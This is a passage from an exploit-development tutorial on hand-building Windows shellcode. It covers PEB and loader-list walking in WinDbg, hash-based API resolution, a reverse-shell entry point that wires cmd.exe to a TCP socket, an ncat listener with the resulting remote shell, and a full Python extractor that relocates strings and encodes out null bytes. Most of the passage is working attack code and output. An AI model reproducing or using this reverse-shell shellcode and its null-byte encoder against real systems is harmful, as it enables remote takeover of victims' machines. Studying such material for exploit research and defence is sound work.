\*dte = getDataTableEntry\(ptr\); ptr = ptr->Flink; . . . \} while \(ptr \!=
first\); return NULL; // address not found\}  
---|---  
Here’s part of the PEB:

[code]

    0:000> dt _PEB @$peb
    ntdll!_PEB
       +0x000 InheritedAddressSpace : 0 ''
       +0x001 ReadImageFileExecOptions : 0 ''
       +0x002 BeingDebugged    : 0x1 ''
       +0x003 BitField         : 0x8 ''
       +0x003 ImageUsesLargePages : 0y0
       +0x003 IsProtectedProcess : 0y0
       +0x003 IsLegacyProcess  : 0y0
       +0x003 IsImageDynamicallyRelocated : 0y1
       +0x003 SkipPatchingUser32Forwarders : 0y0
       +0x003 SpareBits        : 0y000
       +0x004 Mutant           : 0xffffffff Void
       +0x008 ImageBaseAddress : 0x00060000 Void
       +0x00c Ldr              : 0x76fd0200 _PEB_LDR_DATA
       +0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : (null)
       +0x018 ProcessHeap      : 0x00680000 Void
       <snip>
[/code]

At offset 0Ch, there is a field called Ldr which points to a PEB\_LDR\_DATA
data structure. Let’s see that in WinDbg:

[code]

    0:000> dt _PEB_LDR_DATA 0x76fd0200
    ntdll!_PEB_LDR_DATA
       +0x000 Length           : 0x30
       +0x004 Initialized      : 0x1 ''
       +0x008 SsHandle         : (null)
       +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
       +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
       +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
       +0x024 EntryInProgress  : (null)
       +0x028 ShutdownInProgress : 0 ''
       +0x02c ShutdownThreadId : (null)
[/code]

InMemoryOrderModuleList is a doubly-linked list of LDR\_DATA\_TABLE\_ENTRY
structures associated with the modules loaded in the current process’s address
space. To be precise, InMemoryOrderModuleList is a LIST\_ENTRY, which contains
two fields:

[code]

    0:000> dt _LIST_ENTRY
    ntdll!_LIST_ENTRY
       +0x000 Flink            : Ptr32 _LIST_ENTRY
       +0x004 Blink            : Ptr32 _LIST_ENTRY
[/code]

Flink means forward link and Blink backward link. Flink points to the
LDR\_DATA\_TABLE\_ENTRY of the first module. Well, not exactly: Flink points
to a LIST\_ENTRY structure contained in the structure LDR\_DATA\_TABLE\_ENTRY.

Let’s see how LDR\_DATA\_TABLE\_ENTRY is defined:

[code]

    0:000> dt _LDR_DATA_TABLE_ENTRY
    ntdll!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY
       +0x008 InMemoryOrderLinks : _LIST_ENTRY
       +0x010 InInitializationOrderLinks : _LIST_ENTRY
       +0x018 DllBase          : Ptr32 Void
       +0x01c EntryPoint       : Ptr32 Void
       +0x020 SizeOfImage      : Uint4B
       +0x024 FullDllName      : _UNICODE_STRING
       +0x02c BaseDllName      : _UNICODE_STRING
       +0x034 Flags            : Uint4B
       +0x038 LoadCount        : Uint2B
       +0x03a TlsIndex         : Uint2B
       +0x03c HashLinks        : _LIST_ENTRY
       +0x03c SectionPointer   : Ptr32 Void
       +0x040 CheckSum         : Uint4B
       +0x044 TimeDateStamp    : Uint4B
       +0x044 LoadedImports    : Ptr32 Void
       +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
       +0x04c PatchInformation : Ptr32 Void
       +0x050 ForwarderLinks   : _LIST_ENTRY
       +0x058 ServiceTagLinks  : _LIST_ENTRY
       +0x060 StaticLinks      : _LIST_ENTRY
       +0x068 ContextInformation : Ptr32 Void
       +0x06c OriginalBase     : Uint4B
       +0x070 LoadTime         : _LARGE_INTEGER
[/code]

InMemoryOrderModuleList.Flink points to
\_LDR\_DATA\_TABLE\_ENTRY.InMemoryOrderLinks which is at offset 8, so we must
subtract 8 to get the address of \_LDR\_DATA\_TABLE\_ENTRY.

First, let’s get the Flink pointer:

[code]

    +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
[/code]

Its value is 0x683080, so the \_LDR\_DATA\_TABLE\_ENTRY structure is at
address 0x683080 – 8 = 0x683078:

[code]

    0:000> dt _LDR_DATA_TABLE_ENTRY 683078
    ntdll!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
       +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
       +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
       +0x018 DllBase          : (null)
       +0x01c EntryPoint       : (null)
       +0x020 SizeOfImage      : 0x60000
       +0x024 FullDllName      : _UNICODE_STRING "蒮ｍ쿟ﾹ엘ﾬ膪ｎ???"
       +0x02c BaseDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
       +0x034 Flags            : 0x120010
       +0x038 LoadCount        : 0x2034
       +0x03a TlsIndex         : 0x68
       +0x03c HashLinks        : _LIST_ENTRY [ 0x4000 - 0xffff ]
       +0x03c SectionPointer   : 0x00004000 Void
       +0x040 CheckSum         : 0xffff
       +0x044 TimeDateStamp    : 0x6841b4
       +0x044 LoadedImports    : 0x006841b4 Void
       +0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
       +0x04c PatchInformation : 0x4ce7979d Void
       +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
       +0x060 StaticLinks      : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
       +0x068 ContextInformation : 0x00686418 Void
       +0x06c OriginalBase     : 0x6851a8
       +0x070 LoadTime         : _LARGE_INTEGER 0x76f0c9d0
[/code]

As you can see, I’m debugging calc.exe in WinDbg\! That’s right: the first
module is the executable itself. The important field is DLLBase \(c\). Given
the base address of the module, we can analyze the PE file loaded in memory
and get all kinds of information, like the addresses of the exported
functions.

That’s exactly what we do in getProcAddrByHash:

12345678910111213141516171819202122232425262728293031|  . . . BYTE
\*baseAddress = \(BYTE \*\)dte->DllBase; if \(\!baseAddress\) // invalid
module\(???\) continue; IMAGE\_DOS\_HEADER \*dosHeader = \(IMAGE\_DOS\_HEADER
\*\)baseAddress; IMAGE\_NT\_HEADERS \*ntHeaders = \(IMAGE\_NT\_HEADERS
\*\)\(baseAddress + dosHeader->e\_lfanew\); DWORD iedRVA =
ntHeaders->OptionalHeader.DataDirectory\[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\].VirtualAddress;
if \(\!iedRVA\) // Export Directory not present continue;
IMAGE\_EXPORT\_DIRECTORY \*ied = \(IMAGE\_EXPORT\_DIRECTORY \*\)\(baseAddress
+ iedRVA\); char \*moduleName = \(char \*\)\(baseAddress + ied->Name\); DWORD
moduleHash = getHash\(moduleName\); // The arrays pointed to by AddressOfNames
and AddressOfNameOrdinals run in parallel, i.e. the i-th // element of both
arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the
array pointed to by // AddressOfFunctions to find the entry point of the
function. DWORD \*nameRVAs = \(DWORD \*\)\(baseAddress +
ied->AddressOfNames\); for \(DWORD i = 0; i < ied->NumberOfNames; ++i\) \{
char \*functionName = \(char \*\)\(baseAddress + nameRVAs\[i\]\); if \(hash ==
moduleHash + getHash\(functionName\)\) \{ WORD ordinal = \(\(WORD
\*\)\(baseAddress + ied->AddressOfNameOrdinals\)\)\[i\]; DWORD functionRVA =
\(\(DWORD \*\)\(baseAddress + ied->AddressOfFunctions\)\)\[ordinal\]; return
baseAddress + functionRVA; \} \} . . .  
---|---  
To understand this piece of code you’ll need to have a look at the PE file
format specification. I won’t go into too many details. One important thing
you should know is that many \(if not all\) the addresses in the PE file
structures are RVA \(Relative Virtual Addresses\), i.e. addresses relative to
the base address of the PE module \(DllBase\). For example, if the RVA is 100h
and DllBase is 400000h, then the RVA points to data at the address 400000h +
100h = 400100h.

The module starts with the so called DOS\_HEADER which contains a RVA
\(e\_lfanew\) to the NT\_HEADERS which are the FILE\_HEADER and the
OPTIONAL\_HEADER. The OPTIONAL\_HEADER contains an array called DataDirectory
which points to various “directories” of the PE module. We are interested in
the Export Directory.  
The C structure associated with the Export Directory is defined as follows:

12345678910111213| typedef struct \_IMAGE\_EXPORT\_DIRECTORY \{ DWORD
Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion;
DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD
AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA
from base of image DWORD AddressOfNameOrdinals; // RVA from base of image\}
IMAGE\_EXPORT\_DIRECTORY, \*PIMAGE\_EXPORT\_DIRECTORY;  
---|---  
The field Name is a RVA to a string containing the name of the module. Then
there are 5 important fields:

  * NumberOfFunctions:  
number of elements in AddressOfFunctions.

  * NumberOfNames:  
number of elements in AddressOfNames.

  * AddressOfFunctions:  
RVA to an array of RVAs \(DWORDs\) to the entrypoints of the exported
functions.

  * AddressOfNames:  
RVA to an array of RVAs \(DWORDs\) to the names of the exported functions.

  * AddressOfNameOrdinals:  
RVA to an array of ordinals \(WORDs\) associated with the exported functions.

As the comments in the C/C++ code say, the arrays pointed to by AddressOfNames
and AddressOfNameOrdinals run in parallel:  
<img src='img/Unwx5pp.png' width='981' height='257' alt='pic_a0b' />  
While the first two arrays run in parallel, the third doesn’t and the ordinals
taken from AddressOfNameOrdinals are indices in the array AddressOfFunctions.

So the idea is to first find the right name in AddressOfNames, then get the
corresponding ordinal in AddressOfNameOrdinals \(at the same position\) and
finally use the ordinal as index in AddressOfFunctions to get the RVA of the
corresponding exported function.

### DefineFuncPtr

DefineFuncPtr is a handy macro which helps define a pointer to an imported
function. Here’s an example:

12345| \#define HASH\_WSAStartup 0x2ddcd540 \#define DefineFuncPtr\(name\)
decltype\(name\) \*My\_\#\#name = \(decltype\(name\)
\*\)getProcAddrByHash\(HASH\_\#\#name\) DefineFuncPtr\(WSAStartup\);  
---|---  
WSAStartup is a function imported from ws2\_32.dll, so HASH\_WSAStartup is
computed this way:

1| DWORD hash = getFunctionHash\("ws2\_32.dll", "WSAStartup"\);  
---|---  
When the macro is expanded,

1| DefineFuncPtr\(WSAStartup\);  
---|---  
becomes

1| decltype\(WSAStartup\) \*My\_WSAStartup = \(decltype\(WSAStartup\)
\*\)getProcAddrByHash\(HASH\_WSAStartup\)  
---|---  
where decltype\(WSAStartup\) is the type of the function WSAStartup. This way
we don’t need to redefine the function prototype. Note that decltype was
introduced in C++11.

Now we can call WSAStartup through My\_WSAStartup and intellisense will work
perfectly.

Note that before importing a function from a module, we need to make sure that
that module is already loaded in memory. While kernel32.dll and ntdll.dll are
always present \(lucky for us\), we can’t assume that other modules are. The
easiest way to load a module is to use LoadLibrary:

12|  DefineFuncPtr\(LoadLibraryA\); My\_LoadLibraryA\("ws2\_32.dll"\);  
---|---  
This works because LoadLibrary is imported from kernel32.dll that, as we said,
is always present in memory.

We could also import GetProcAddress and use it to get the address of all the
other function we need, but that would be wasteful because we would need to
include the full names of the functions in the shellcode.

### entryPoint

entryPoint is obviously the entry point of our shellcode and implements the
reverse shell. First, we import all the functions we need and then we use
them. The details are not important and I must say that the winsock API are
very cumbersome to use.

In a nutshell:

  1. we create a socket,
  2. connect the socket to 127.0.0.1:123,
  3. create a process by executing cmd.exe,
  4. attach the socket to the standard input, output and error of the process,
  5. wait for the process to terminate,
  6. when the process has ended, we terminate the current thread.

Point 3 and 4 are performed at the same time with a call to CreateProcess.
Thanks to 4\), the attacker can listen on port 123 for a connection and then,
once connected, can interact with cmd.exe running on the remote machine
through the socket, i.e. the TCP connection.

To try this out, install ncat \(download\), run cmd.exe and at the prompt
enter

[code]

    ncat -lvp 123
[/code]

This will start listening on port 123.  
Then, back in Visual Studio 2013, select Release, build the project and run
it.

Go back to ncat and you should see something like the following:

[code]

    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Users\Kiuhnm>ncat -lvp 123
    Ncat: Version 6.47 ( http://nmap.org/ncat )
    Ncat: Listening on :::123
    Ncat: Listening on 0.0.0.0:123
    Ncat: Connection from 127.0.0.1.
    Ncat: Connection from 127.0.0.1:4409.
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    
    C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>
[/code]

Now you can type whatever command you want. To exit, type exit.

### main

Thanks to the linker option

Function Order: function\_order.txt

where the first and only line of function\_order.txt is ?entryPoint@@YAHXZ,
the function entryPoint will be positioned first in our shellcode. This is
what we want.

It seems that the linker honors the order of the functions in the source code,
so we could have put entryPoint before any other function, but I didn’t want
to mess things up. The main function comes last in the source code so it’s
linked at the end of our shellcode. This allows us to tell where the shellcode
ends. We’ll see how in a moment when we talk about the map file.

## Python script

### Introduction

Now that the executable containing our shellcode is ready, we need a way to
extract and fix the shellcode. This won’t be easy. I wrote a Python script
that

  1. extracts the shellcode
  2. handles the relocations for the strings
  3. fixes the shellcode by removing null bytes

By the way, you can use whatever you like, but I like and use PyCharm
\(download\).

The script weighs only 392 LOC, but it’s a little tricky so I’ll explain it in
detail.

Here’s the code:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392| \# Shellcode extractor by Massimiliano Tomassoli \(2015\) import sysimport osimport datetimeimport pefile author = 'Massimiliano Tomassoli'year = datetime.date.today\(\).year def dword\_to\_bytes\(value\): return \[value & 0xff, \(value >> 8\) & 0xff, \(value >> 16\) & 0xff, \(value >> 24\) & 0xff\] def bytes\_to\_dword\(bytes\): return \(bytes\[0\] & 0xff\) | \(\(bytes\[1\] & 0xff\) << 8\) | \ \(\(bytes\[2\] & 0xff\) << 16\) | \(\(bytes\[3\] & 0xff\) << 24\) def get\_cstring\(data, offset\): ''' Extracts a C string \(i.e. null-terminated string\) from data starting from offset. ''' pos = data.find\('\0', offset\) if pos == -1: return None return data\[offset:pos+1\] def get\_shellcode\_len\(map\_file\): ''' Gets the length of the shellcode by analyzing map\_file \(map produced by VS 2013\) ''' try: with open\(map\_file, 'r'\) as f: lib\_object = None shellcode\_len = None for line in f: parts = line.split\(\) if lib\_object is not None: if parts\[-1\] == lib\_object: raise Exception\('\_main is not the last function of %s' % lib\_object\) else: break elif \(len\(parts\) > 2 and parts\[1\] == '\_main'\): \# Format: \# 0001:00000274 \_main 00401274 f shellcode.obj shellcode\_len = int\(parts\[0\].split\(':'\)\[1\], 16\) lib\_object = parts\[-1\] if shellcode\_len is None: raise Exception\('Cannot determine shellcode length'\) except IOError: print\('\[\!\] get\_shellcode\_len: Cannot open "%s"' % map\_file\) return None except Exception as e: print\('\[\!\] get\_shellcode\_len: %s' % e.message\) return None return shellcode\_len def get\_shellcode\_and\_relocs\(exe\_file, shellcode\_len\): ''' Extracts the shellcode from the .text section of the file exe\_file and the string relocations. Returns the triple \(shellcode, relocs, addr\_to\_strings\). ''' try: \# Extracts the shellcode. pe = pefile.PE\(exe\_file\) shellcode = None rdata = None for s in pe.sections: if s.Name == '.text\0\0\0': if s.SizeOfRawData < shellcode\_len: raise Exception\('.text section too small'\) shellcode\_start = s.VirtualAddress shellcode\_end = shellcode\_start + shellcode\_len shellcode = pe.get\_data\(s.VirtualAddress, shellcode\_len\) elif s.Name == '.rdata\0\0': rdata\_start = s.VirtualAddress rdata\_end = rdata\_start + s.Misc\_VirtualSize rdata = pe.get\_data\(rdata\_start, s.Misc\_VirtualSize\) if shellcode is None: raise Exception\('.text section not found'\) if rdata is None: raise Exception\('.rdata section not found'\) \# Extracts the relocations for the shellcode and the referenced strings in .rdata. relocs = \[\] addr\_to\_strings = \{\} for rel\_data in pe.DIRECTORY\_ENTRY\_BASERELOC: for entry in rel\_data.entries\[:-1\]: \# the last element's rvs is the base\_rva \(why?\) if shellcode\_start <= entry.rva < shellcode\_end: \# The relocation location is inside the shellcode. relocs.append\(entry.rva - shellcode\_start\) \# offset relative to the start of shellcode string\_va = pe.get\_dword\_at\_rva\(entry.rva\) string\_rva = string\_va - pe.OPTIONAL\_HEADER.ImageBase if string\_rva < rdata\_start or string\_rva >= rdata\_end: raise Exception\('shellcode references a section other than .rdata'\) str = get\_cstring\(rdata, string\_rva - rdata\_start\) if str is None: raise Exception\('Cannot extract string from .rdata'\) addr\_to\_strings\[string\_va\] = str return \(shellcode, relocs, addr\_to\_strings\) except WindowsError: print\('\[\!\] get\_shellcode: Cannot open "%s"' % exe\_file\) return None except Exception as e: print\('\[\!\] get\_shellcode: %s' % e.message\) return None def dword\_to\_string\(dword\): return ''.join\(\[chr\(x\) for x in dword\_to\_bytes\(dword\)\]\) def add\_loader\_to\_shellcode\(shellcode, relocs, addr\_to\_strings\): if len\(relocs\) == 0: return shellcode \# there are no relocations \# The format of the new shellcode is: \# call here \# here: \# ... \# shellcode\_start: \# <shellcode> \(contains offsets to strX \(offset are from "here" label\)\) \# relocs: \# off1|off2|... \(offsets to relocations \(offset are from "here" label\)\) \# str1|str2|... delta = 21 \# shellcode\_start - here \# Builds the first part \(up to and not including the shellcode\). x = dword\_to\_bytes\(delta + len\(shellcode\)\) y = dword\_to\_bytes\(len\(relocs\)\) code = \[ 0xE8, 0x00, 0x00, 0x00, 0x00, \# CALL here \# here: 0x5E, \# POP ESI 0x8B, 0xFE, \# MOV EDI, ESI 0x81, 0xC6, x\[0\], x\[1\], x\[2\], x\[3\], \# ADD ESI, shellcode\_start + len\(shellcode\) - here 0xB9, y\[0\], y\[1\], y\[2\], y\[3\], \# MOV ECX, len\(relocs\) 0xFC, \# CLD \# again: 0xAD, \# LODSD 0x01, 0x3C, 0x07, \# ADD \[EDI+EAX\], EDI 0xE2, 0xFA \# LOOP again \# shellcode\_start: \] \# Builds the final part \(offX and strX\). offset = delta + len\(shellcode\) + len\(relocs\) \* 4 \# offset from "here" label final\_part = \[dword\_to\_string\(r + delta\) for r in relocs\] addr\_to\_offset = \{\} for addr in addr\_to\_strings.keys\(\): str = addr\_to\_strings\[addr\] final\_part.append\(str\) addr\_to\_offset\[addr\] = offset offset += len\(str\) \# Fixes the shellcode so that the pointers referenced by relocs point to the \# string in the final part. byte\_shellcode = \[ord\(c\) for c in shellcode\] for off in relocs: addr = bytes\_to\_dword\(byte\_shellcode\[off:off+4\]\) byte\_shellcode\[off:off+4\] = dword\_to\_bytes\(addr\_to\_offset\[addr\]\) return ''.join\(\[chr\(b\) for b in \(code + byte\_shellcode\)\]\) + ''.join\(final\_part\) def dump\_shellcode\(shellcode\): ''' Prints shellcode in C format \('\x12\x23...'\) ''' shellcode\_len = len\(shellcode\) sc\_array = \[\] bytes\_per\_row = 16 for i in range\(shellcode\_len\): pos = i % bytes\_per\_row str = '' if pos == 0: str += '"' str += '\\\x%02x' % ord\(shellcode\[i\]\) if i == shellcode\_len - 1: str += '";\n' elif pos == bytes\_per\_row - 1: str += '"\n' sc\_array.append\(str\) shellcode\_str = ''.join\(sc\_array\) print\(shellcode\_str\) def get\_xor\_values\(value\): ''' Finds x and y such that: 1\) x xor y == value 2\) x and y doesn't contain null bytes Returns x and y as arrays of bytes starting from the lowest significant byte. ''' \# Finds a non-null missing bytes. bytes = dword\_to\_bytes\(value\) missing\_byte = \[b for b in range\(1, 256\) if b not in bytes\]\[0\] xor1 = \[b ^ missing\_byte for b in bytes\] xor2 = \[missing\_byte\] \* 4 return \(xor1, xor2\) def get\_fixed\_shellcode\_single\_block\(shellcode\): ''' Returns a version of shellcode without null bytes or None if the shellcode can't be fixed. If this function fails, use get\_fixed\_shellcode\(\). ''' \# Finds one non-null byte not present, if any. bytes = set\(\[ord\(c\) for c in shellcode\]\) missing\_bytes = \[b for b in range\(1, 256\) if b not in bytes\] if len\(missing\_bytes\) == 0: return None \# shellcode can't be fixed missing\_byte = missing\_bytes\[0\] \(xor1, xor2\) = get\_xor\_values\(len\(shellcode\)\) code = \[ 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, \# CALL $ + 4 \# here: 0xC0, \# \(FF\)C0 = INC EAX 0x5F, \# POP EDI 0xB9, xor1\[0\], xor1\[1\], xor1\[2\], xor1\[3\], \# MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2\[0\], xor2\[1\], xor2\[2\], xor2\[3\], \# XOR ECX, <xor value 2 for shellcode len> 0x83, 0xC7, 29, \# ADD EDI, shellcode\_begin - here 0x33, 0xF6, \# XOR ESI, ESI 0xFC, \# CLD \# loop1: 0x8A, 0x07, \# MOV AL, BYTE PTR \[EDI\] 0x3C, missing\_byte, \# CMP AL, <missing byte> 0x0F, 0x44, 0xC6, \# CMOVE EAX, ESI 0xAA, \# STOSB 0xE2, 0xF6 \# LOOP loop1 \# shellcode\_begin: \] return ''.join\(\[chr\(x\) for x in code\]\) + shellcode.replace\('\0', chr\(missing\_byte\)\) def get\_fixed\_shellcode\(shellcode\): ''' Returns a version of shellcode without null bytes. This version divides the shellcode into multiple blocks and should be used only if get\_fixed\_shellcode\_single\_block\(\) doesn't work with this shellcode. ''' \# The format of bytes\_blocks is \# \[missing\_byte1, number\_of\_blocks1, \# missing\_byte2, number\_of\_blocks2, ...\] \# where missing\_byteX is the value used to overwrite the null bytes in the \# shellcode, while number\_of\_blocksX is the number of 254-byte blocks where \# to use the corresponding missing\_byteX. bytes\_blocks = \[\] shellcode\_len = len\(shellcode\) i = 0 while i < shellcode\_len: num\_blocks = 0 missing\_bytes = list\(range\(1, 256\)\) \# Tries to find as many 254-byte contiguous blocks as possible which misses at \# least one non-null value. Note that a single 254-byte block always misses at \# least one non-null value. while True: if i >= shellcode\_len or num\_blocks == 255: bytes\_blocks += \[missing\_bytes\[0\], num\_blocks\] break bytes = set\(\[ord\(c\) for c in shellcode\[i:i+254\]\]\) new\_missing\_bytes = \[b for b in missing\_bytes if b not in bytes\] if len\(new\_missing\_bytes\) \!= 0: \# new block added missing\_bytes = new\_missing\_bytes num\_blocks += 1 i += 254 else: bytes += \[missing\_bytes\[0\], num\_blocks\] break if len\(bytes\_blocks\) > 0x7f - 5: \# Can't assemble "LEA EBX, \[EDI + \(bytes-here\)\]" or "JMP skip\_bytes". return None \(xor1, xor2\) = get\_xor\_values\(len\(shellcode\)\) code = \(\[ 0xEB, len\(bytes\_blocks\)\] + \# JMP SHORT skip\_bytes \# bytes: bytes\_blocks + \[ \# ... \# skip\_bytes: 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, \# CALL $ + 4 \# here: 0xC0, \# \(FF\)C0 = INC EAX 0x5F, \# POP EDI 0xB9, xor1\[0\], xor1\[1\], xor1\[2\], xor1\[3\], \# MOV ECX, <xor value 1 for shellcode len> 0x81, 0xF1, xor2\[0\], xor2\[1\], xor2\[2\], xor2\[3\], \# XOR ECX, <xor value 2 for shellcode len> 0x8D, 0x5F, -\(len\(bytes\_blocks\) + 5\) & 0xFF, \# LEA EBX, \[EDI + \(bytes - here\)\] 0x83, 0xC7, 0x30, \# ADD EDI, shellcode\_begin - here \# loop1: 0xB0, 0xFE, \# MOV AL, 0FEh 0xF6, 0x63, 0x01, \# MUL AL, BYTE PTR \[EBX+1\] 0x0F, 0xB7, 0xD0, \# MOVZX EDX, AX 0x33, 0xF6, \# XOR ESI, ESI 0xFC, \# CLD \# loop2: 0x8A, 0x07, \# MOV AL, BYTE PTR \[EDI\] 0x3A, 0x03, \# CMP AL, BYTE PTR \[EBX\] 0x0F, 0x44, 0xC6, \# CMOVE EAX, ESI 0xAA, \# STOSB 0x49, \# DEC ECX 0x74, 0x07, \# JE shellcode\_begin 0x4A, \# DEC EDX 0x75, 0xF2, \# JNE loop2 0x43, \# INC EBX 0x43, \# INC EBX 0xEB, 0xE3 \# JMP loop1 \# shellcode\_begin: \]\) new\_shellcode\_pieces = \[\] pos = 0 for i in range\(len\(bytes\_blocks\) / 2\): missing\_char = chr\(bytes\_blocks\[i\*2\]\) num\_bytes = 254 \* bytes\_blocks\[i\*2 + 1\] new\_shellcode\_pieces.append\(shellcode\[pos:pos+num\_bytes\].replace\('\0', missing\_char\)\) pos += num\_bytes return ''.join\(\[chr\(x\) for x in code\]\) + ''.join\(new\_shellcode\_pieces\) def main\(\): print\("Shellcode Extractor by %s \(%d\)\n" % \(author, year\)\) if len\(sys.argv\) \!= 3: print\('Usage:\n' + ' %s <exe file> <map file>\n' % os.path.basename\(sys.argv\[0\]\)\) return exe\_file = sys.argv\[1\] map\_file = sys.argv\[2\] print\('Extracting shellcode length from "%s"...' % os.path.basename\(map\_file\)\) shellcode\_len = get\_shellcode\_len\(map\_file\) if shellcode\_len is None: return print\('shellcode length: %d' % shellcode\_len\) print\('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename\(exe\_file\)\) result = get\_shellcode\_and\_relocs\(exe\_file, shellcode\_len\) if result is None: return \(shellcode, relocs, addr\_to\_strings\) = result if len\(relocs\) \!= 0: print\('Found %d reference\(s\) to %d string\(s\) in .rdata' % \(len\(relocs\), len\(addr\_to\_strings\)\)\) print\('Strings:'\) for s in addr\_to\_strings.values\(\): print\(' ' + s\[:-1\]\) print\(''\) shellcode = add\_loader\_to\_shellcode\(shellcode, relocs, addr\_to\_strings\) else: print\('No relocations found'\) if shellcode.find\('\0'\) == -1: print\('Unbelievable: the shellcode does not need to be fixed\!'\) fixed\_shellcode = shellcode else: \# shellcode contains null bytes and needs to be fixed. print\('Fixing the shellcode...'\) fixed\_shellcode = get\_fixed\_shellcode\_single\_block\(shellcode\) if fixed\_shellcode is None: \# if shellcode wasn't fixed... fixed\_shellcode = get\_fixed\_shellcode\(shellcode\) if fixed\_shellcode is None: print\('\[\!\] Cannot fix the shellcode'\) print\('final shellcode length: %d\n' % len\(fixed\_shellcode\)\) print\('char shellcode\[\] = '\) dump\_shellcode\(fixed\_shellcode\) main\(\)  
---|---  
### Map file and shellcode length

We told the linker to produce a map file with the following options:

  * Debugging:
    * Generate Map File: Yes \(/MAP\)  
Tells the linker to generate a map file containing the structure of the EXE\)

    * Map File Name: mapfile

The map file is important to determine the shellcode length.

Here’s the relevant part of the map file:

[code]

    shellcode
    
     Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)
    
     Preferred load address is 00400000
    
     Start         Length     Name                   Class
     0001:00000000 00000a9cH .text$mn                CODE
     0002:00000000 00000094H .idata$5                DATA
     0002:00000094 00000004H .CRT$XCA                DATA
     0002:00000098 00000004H .CRT$XCAA               DATA
     0002:0000009c 00000004H .CRT$XCZ                DATA
     0002:000000a0 00000004H .CRT$XIA                DATA
     0002:000000a4 00000004H .CRT$XIAA               DATA
     0002:000000a8 00000004H .CRT$XIC                DATA
     0002:000000ac 00000004H .CRT$XIY                DATA
     0002:000000b0 00000004H .CRT$XIZ                DATA
     0002:000000c0 000000a8H .rdata                  DATA
     0002:00000168 00000084H .rdata$debug            DATA
     0002:000001f0 00000004H .rdata$sxdata           DATA
     0002:000001f4 00000004H .rtc$IAA                DATA
     0002:000001f8 00000004H .rtc$IZZ                DATA
     0002:000001fc 00000004H .rtc$TAA                DATA
     0002:00000200 00000004H .rtc$TZZ                DATA
     0002:00000208 0000005cH .xdata$x                DATA
     0002:00000264 00000000H .edata                  DATA
     0002:00000264 00000028H .idata$2                DATA
     0002:0000028c 00000014H .idata$3                DATA
     0002:000002a0 00000094H .idata$4                DATA
     0002:00000334 0000027eH .idata$6                DATA
     0003:00000000 00000020H .data                   DATA
     0003:00000020 00000364H .bss                    DATA
     0004:00000000 00000058H .rsrc$01                DATA
     0004:00000060 00000180H .rsrc$02                DATA
    
      Address         Publics by Value              Rva+Base       Lib:Object
    
     0000:00000000       ___guard_fids_table        00000000     <absolute>
     0000:00000000       ___guard_fids_count        00000000     <absolute>
     0000:00000000       ___guard_flags             00000000     <absolute>
     0000:00000001       ___safe_se_handler_count   00000001     <absolute>
     0000:00000000       ___ImageBase               00400000     <linker-defined>
     0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj
     0001:000001a1       ?getHash@@YAKPBD@Z         004011a1 f   shellcode.obj
     0001:000001be       ?getProcAddrByHash@@YAPAXK@Z 004011be f   shellcode.obj
     0001:00000266       _main                      00401266 f   shellcode.obj
     0001:000004d4       _mainCRTStartup            004014d4 f   MSVCRT:crtexe.obj
     0001:000004de       ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f   MSVCRT:unhandld.obj
     0001:0000051f       ___CxxSetUnhandledExceptionFilter 0040151f f   MSVCRT:unhandld.obj
     0001:0000052e       __XcptFilter               0040152e f   MSVCRT:MSVCR120.dll
    <snip>
[/code]

The start of the map file tells us that section 1 is the .text section, which
contains the code:

[code]

    Start         Length     Name                   Class
    0001:00000000 00000a9cH .text$mn                CODE
[/code]

The second part tells us that the .text section starts with
?entryPoint@@YAHXZ, our entryPoint function, and that main \(here called
\_main\) is the last of our functions. Since main is at offset 0x266 and
entryPoint is at 0, our shellcode starts at the beginning of the .text section
and is 0x266 bytes long.

Here’s how we do it in Python:

